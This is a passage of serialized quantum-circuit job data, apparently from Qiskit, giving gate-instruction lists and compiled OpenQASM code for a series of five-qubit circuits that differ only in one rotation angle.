'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1261', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1263', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1265', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1267', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': 